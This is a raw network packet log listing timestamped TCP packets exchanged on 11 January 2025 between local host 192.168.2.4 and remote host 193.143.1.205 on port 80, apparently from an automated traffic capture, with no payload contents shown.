Jan 11, 2025 07:17:35.038276911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.038635015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.038645983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.038655996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.038666010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.038717031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.039150000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.039160013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.039170980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.039181948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.039192915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.039222956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.039774895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.039788008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.039858103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.039932966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.039943933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.039953947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.040009975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.040158033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.040220022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.040230036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.040241003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.040258884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.040282011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.040684938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.040697098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.040707111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.040718079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.040729046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.040745974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.040775061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.041251898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.041264057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.041274071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.041304111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.041337013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.041557074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.041567087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.041649103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.043658972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.043766022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.043777943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.043807030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.044218063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.049767017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.049809933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.049822092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.049827099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.049880028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.050043106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.050055027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.050097942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.084726095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.084758997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.084770918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.084841967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.119693041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.119726896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.119739056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.119836092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.119918108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.119949102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.119961977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.119972944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.119985104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.120019913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.120057106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.120335102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.120426893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.120436907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.120448112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.120471001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.120493889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.120646000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.120656967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.120667934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.120712042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.120960951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.120971918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.120982885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.120995045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.121005058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.121006966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.121042013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.121088982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.154632092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.154707909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.154720068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.154897928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.154918909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.154947996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.154970884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.155095100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.155106068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.155117989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.155157089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.155184984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.155512094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.155524015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.155534983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.155545950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.155555964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.155566931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.155567884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.155577898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.155601978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.155623913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.156189919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.156203032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.156236887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.156420946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.156433105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.156443119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.156454086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.156464100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.156471968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.156475067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.156486034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.156495094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.156510115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.156532049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.157366991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.157378912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.157387972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.157398939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.157408953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.157419920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.157418966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.157428980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.157438993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.157449007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.157454014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.157480001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.157504082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.158246040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.158258915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.158268929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.158279896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.158289909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.158299923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.158303976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.158309937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.158324003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.158324957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.158334017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.158365011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.158386946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.159056902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.159069061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.159079075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.159090042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.159100056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.159106970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.159111023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.159121990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.159126997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.159179926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.159179926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.159836054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.159857035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.159898996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.159946918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.159959078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.160005093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.160190105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.160206079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.160217047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.160227060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.160237074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.160247087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.160248041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.160284996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.160312891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.160651922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.160662889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.160674095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.160685062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.160716057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.160738945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.161027908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.161039114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.161050081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.161060095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.161070108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.161081076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.161091089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.161096096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.161123037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.161636114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.161648989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.161659002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.161669016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.161679029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.161679983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.161689043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.161699057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.161699057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.161710024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.161720037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.161729097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.161734104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.161753893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.162504911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.162518024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.162528992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.162539005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.162549973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.162552118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.162561893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.162570000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.162610054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.163044930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.163058043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.163068056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.163078070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.163088083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.163096905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.163098097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.163110018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.163114071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.163120031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.163131952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.163146973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.163168907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.168521881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.206423998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.206446886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.206458092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.206494093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.206635952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.206705093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.206716061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.206727028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.206737995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.206826925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.206828117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.207156897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.207169056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.207180023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.207190037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.207200050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.207206964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.207211018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.207233906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.207252026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.207628965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.207640886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.207650900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.207662106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.207673073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.207679033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.207683086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.207715988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.207740068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.208143950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.214106083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.241446018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.241476059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.241487026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.241591930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.241604090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.241615057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.241626978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.241765022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.241856098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.241911888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.241976023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.242033005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.242062092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.242072105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.242083073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.242093086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.242119074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.242165089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.242352009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.242363930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.242373943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.242383003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.242393970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.242404938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.242407084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.242415905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.242439985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.242466927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.242904902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.242918015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.242928982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.242938995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.242949963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.242959023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.242973089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.242990971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.243057966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.243506908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.243546009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.243570089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.243598938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.243602991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.243616104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.243621111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.243623018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.243630886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.243637085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.243642092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.243712902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.243797064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.244327068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.244339943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.244354010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.244364977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.244376898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.244386911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.244396925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.244407892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.244421959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.244431973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.244441986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.244450092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.244455099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.244461060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.244585037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.245244026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.245258093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.245270014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.245281935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.245292902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.245305061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.245316029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.245326996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.245337963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.245347977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.245359898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.245373964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.245479107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 07:17:35.246195078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.246212006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.246222019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.246232986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 07:17:35.246243954 CET	80	49730	193.143.1.205	192.168.2.4
